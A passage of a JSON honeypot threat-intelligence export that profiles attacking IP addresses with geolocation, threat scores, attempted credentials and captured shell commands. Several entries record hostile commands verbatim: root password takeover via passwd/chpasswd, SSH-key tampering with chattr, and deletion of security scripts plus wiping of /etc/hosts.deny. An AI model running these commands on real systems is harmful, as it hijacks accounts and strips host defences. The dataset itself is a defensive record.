    },
    "217.23.12.21": {
      "attack_count": 156,
      "first_seen": "2026-05-08T17:44:49.338Z",
      "last_seen": "2026-05-21T14:55:08.079Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Naaldwijk",
      "asn": 49981,
      "as_org": "WorldStream B.V.",
      "threat_score": 30.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T17:44:49.338000+00:00",
        "last_seen_30d": "2026-05-21T14:56:08.796000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 78
      }
    },
    "222.247.32.186": {
      "attack_count": 141,
      "first_seen": "2026-05-13T16:04:47.402Z",
      "last_seen": "2026-05-13T16:42:24.500Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "andy",
        "chat",
        "deploy",
        "deployer",
        "eth",
        "ossuser",
        "prueba",
        "pujie",
        "testftp",
        "ying"
      ],
      "passwords_attempted": [
        "101010",
        "1qaz2wsx#EDC$RFV",
        "ADMINadmin123",
        "Admin123123",
        "Changeme_123",
        "andy",
        "chat",
        "deployer@123",
        "eth",
        "leo123",
        "prueba",
        "pujie123",
        "testftp",
        "ying"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Changeme_123\\n5nzdpNZqvAal\\n5nzdpNZqvAal\\n\"|passwd",
        "echo -e \"Changeme_123\\n5nzdpNZqvAal\\n5nzdpNZqvAal\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T16:04:47.402000+00:00",
        "last_seen_30d": "2026-05-13T16:49:23.325000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 141,
        "Suricata": 49
      }
    },
    "168.144.113.21": {
      "attack_count": 119,
      "first_seen": "2026-05-30T12:32:06.102Z",
      "last_seen": "2026-05-30T12:51:22.511Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "testuser",
        "345gs5662d34",
        "ansadmin",
        "dennis",
        "user"
      ],
      "passwords_attempted": [
        "!@#123qwe",
        "#EDC4rfv",
        "1",
        "1qq2w3e4r5t",
        "3245gs5662d34",
        "345gs5662d34",
        "Amir@123",
        "QWERasdf1234",
        "ansadmin",
        "dennis123",
        "root.123",
        "s"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1\\n3UJxS9uVgnnf\\n3UJxS9uVgnnf\\n\"|passwd",
        "echo -e \"1\\n3UJxS9uVgnnf\\n3UJxS9uVgnnf\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T12:32:06.102000+00:00",
        "last_seen_30d": "2026-05-30T12:52:24.848000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "45.4.179.3": {
      "attack_count": 119,
      "first_seen": "2026-05-22T11:35:59.691Z",
      "last_seen": "2026-05-22T12:12:04.814Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "345gs5662d34",
        "anand",
        "client",
        "mohammad",
        "qwerty",
        "sftpuser",
        "sysadmin"
      ],
      "passwords_attempted": [
        "123123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Abcd.1234",
        "P@ssw0rd",
        "Qq123321",
        "Steam",
        "anand",
        "client",
        "qwerty",
        "sftpuser2026"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Steam\\na6GcXqEiOTHk\\na6GcXqEiOTHk\\n\"|passwd",
        "echo -e \"Steam\\na6GcXqEiOTHk\\na6GcXqEiOTHk\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Igaci",
      "asn": 266097,
      "as_org": "YUHOO NET",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:35:59.691000+00:00",
        "last_seen_30d": "2026-05-22T12:13:05.903000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 30
      }
    },
    "37.143.61.22": {
      "attack_count": 118,
      "first_seen": "2026-05-30T11:32:19.190Z",
      "last_seen": "2026-05-30T11:48:28.013Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ajay",
        "copia",
        "teste",
        "ubuntu"
      ],
      "passwords_attempted": [
        "!QAZxsw2",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "@Aa123123",
        "Manager@123",
        "Qwer123456.",
        "Tencent@2026",
        "Zj123456",
        "ajay@123",
        "copia",
        "pass..."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:w2gzMXy3uIJG\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 42831,
      "as_org": "UK Dedicated Servers Limited",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T11:32:19.190000+00:00",
        "last_seen_30d": "2026-05-30T11:49:29.685000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "193.36.84.88": {
      "attack_count": 104,
      "first_seen": "2026-05-29T07:42:00.699Z",
      "last_seen": "2026-05-29T08:07:46.473Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "halo"
      ],
      "passwords_attempted": [
        "!QAZxsw2",
        "345gs5662d34",
        "Pb123456789",
        "Temp123456!",
        "abc123",
        "fjbdfdjkdsfs541544",
        "halo"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:jGf2CZTEF4ar\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 212552,
      "as_org": "BitCommand LLC",
      "threat_score": 31.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T07:42:00.699000+00:00",
        "last_seen_30d": "2026-05-29T08:08:52.410000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 25
      }
    },
    "201.77.171.37": {
      "attack_count": 99,
      "first_seen": "2026-05-09T08:59:16.104Z",
      "last_seen": "2026-05-09T09:04:25.141Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "user4",
        "345gs5662d34",
        "dbuser",
        "nuser",
        "postgres",
        "qadmin",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123123",
        "123456",
        "1234rewq",
        "3245gs5662d34",
        "345gs5662d34",
        "nuser",
        "qadmin",
        "user4"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"user4\\nINj0YH3WmkpA\\nINj0YH3WmkpA\\n\"|passwd",
        "echo -e \"user4\\nINj0YH3WmkpA\\nINj0YH3WmkpA\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Betim",
      "asn": 28656,
      "as_org": "BTT TELECOMUNICACOES S.A.",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 117,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T08:59:16.104000+00:00",
        "last_seen_30d": "2026-05-09T09:05:30.638000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 99,
        "Suricata": 18
      }
    },
    "198.98.52.145": {
      "attack_count": 60,
      "first_seen": "2026-05-09T07:15:34.796Z",
      "last_seen": "2026-05-31T17:48:15.705Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Staten Island",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 49.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.5,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T07:15:34.796000+00:00",
        "last_seen_30d": "2026-05-31T17:49:19.016000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 30
      }
    },
    "20.51.243.7": {
      "attack_count": 56,
      "first_seen": "2026-05-02T08:53:38.204Z",
      "last_seen": "2026-05-02T08:56:37.764Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T08:53:38.204000+00:00",
        "last_seen_30d": "2026-05-02T08:57:46.873000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 30
      }
    },
    "115.55.21.93": {
      "attack_count": 50,
      "first_seen": "2026-05-16T07:52:20.093Z",
      "last_seen": "2026-05-16T07:57:44.553Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T07:52:20.093000+00:00",
        "last_seen_30d": "2026-05-16T07:58:45.366000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "102.221.220.85": {
      "attack_count": 48,
      "first_seen": "2026-05-11T09:02:43.365Z",
      "last_seen": "2026-05-11T09:19:15.140Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Tzaneen",
      "asn": 328638,
      "as_org": "LETABANETWORKS",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T09:02:43.365000+00:00",
        "last_seen_30d": "2026-05-11T09:20:52.333000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "103.56.149.68": {
      "attack_count": 46,
      "first_seen": "2026-05-02T01:50:45.261Z",
      "last_seen": "2026-05-02T01:55:53.041Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 55688,
      "as_org": "PT. Beon Intermedia",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T01:50:45.261000+00:00",
        "last_seen_30d": "2026-05-02T01:56:57.671000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 25
      }
    },
    "113.221.42.214": {
      "attack_count": 46,
      "first_seen": "2026-05-19T18:20:12.030Z",
      "last_seen": "2026-05-19T20:23:22.032Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 69,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:20:12.030000+00:00",
        "last_seen_30d": "2026-05-19T20:24:28.774000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 23
      }
    },
    "125.20.210.182": {
      "attack_count": 46,
      "first_seen": "2026-05-02T05:49:31.958Z",
      "last_seen": "2026-05-23T03:54:29.670Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "P",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Gurugram",
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 52.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.9,
        "persistence": 18.3,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 193,
        "days_active_30d": 22,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T05:49:31.958000+00:00",
        "last_seen_30d": "2026-05-23T03:55:30.787000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 102,
        "Cowrie": 46,
        "Tanner": 44,
        "Honeytrap": 1
      }
    },
    "92.99.227.165": {
      "attack_count": 44,
      "first_seen": "2026-05-21T08:26:28.146Z",
      "last_seen": "2026-05-21T08:55:13.697Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Sharjah",
      "asn": 5384,
      "as_org": "Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T08:26:28.146000+00:00",
        "last_seen_30d": "2026-05-21T08:56:26.719000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "198.204.253.106": {
      "attack_count": 36,
      "first_seen": "2026-05-11T10:07:44.438Z",
      "last_seen": "2026-05-18T16:17:42.199Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 33387,
      "as_org": "Nocix, LLC",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T10:07:44.438000+00:00",
        "last_seen_30d": "2026-05-18T16:18:45.963000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "46.4.63.101": {
      "attack_count": 36,
      "first_seen": "2026-05-05T02:08:36.787Z",
      "last_seen": "2026-05-12T03:51:54.225Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:08:36.787000+00:00",
        "last_seen_30d": "2026-05-12T03:52:58.465000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "115.190.165.165": {
      "attack_count": 30,
      "first_seen": "2026-05-09T05:26:57.022Z",
      "last_seen": "2026-05-09T05:27:22.832Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "5nWt3P-fF4WosQm5O",
        "Test@2022",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T05:26:57.022000+00:00",
        "last_seen_30d": "2026-05-09T05:28:23.855000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 17
      }
    },
    "200.6.91.47": {
      "attack_count": 30,
      "first_seen": "2026-05-19T21:50:22.770Z",
      "last_seen": "2026-05-19T23:14:58.124Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Itabaiana",
      "asn": 270458,
      "as_org": "FIBRA MAIS",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:50:22.770000+00:00",
        "last_seen_30d": "2026-05-19T23:15:59.499000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 15
      }
    },
    "138.122.250.143": {
      "attack_count": 24,
      "first_seen": "2026-05-05T08:04:25.593Z",
      "last_seen": "2026-05-05T08:18:34.575Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Farias Brito",
      "asn": 262590,
      "as_org": "NET ON LINE LTDA",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
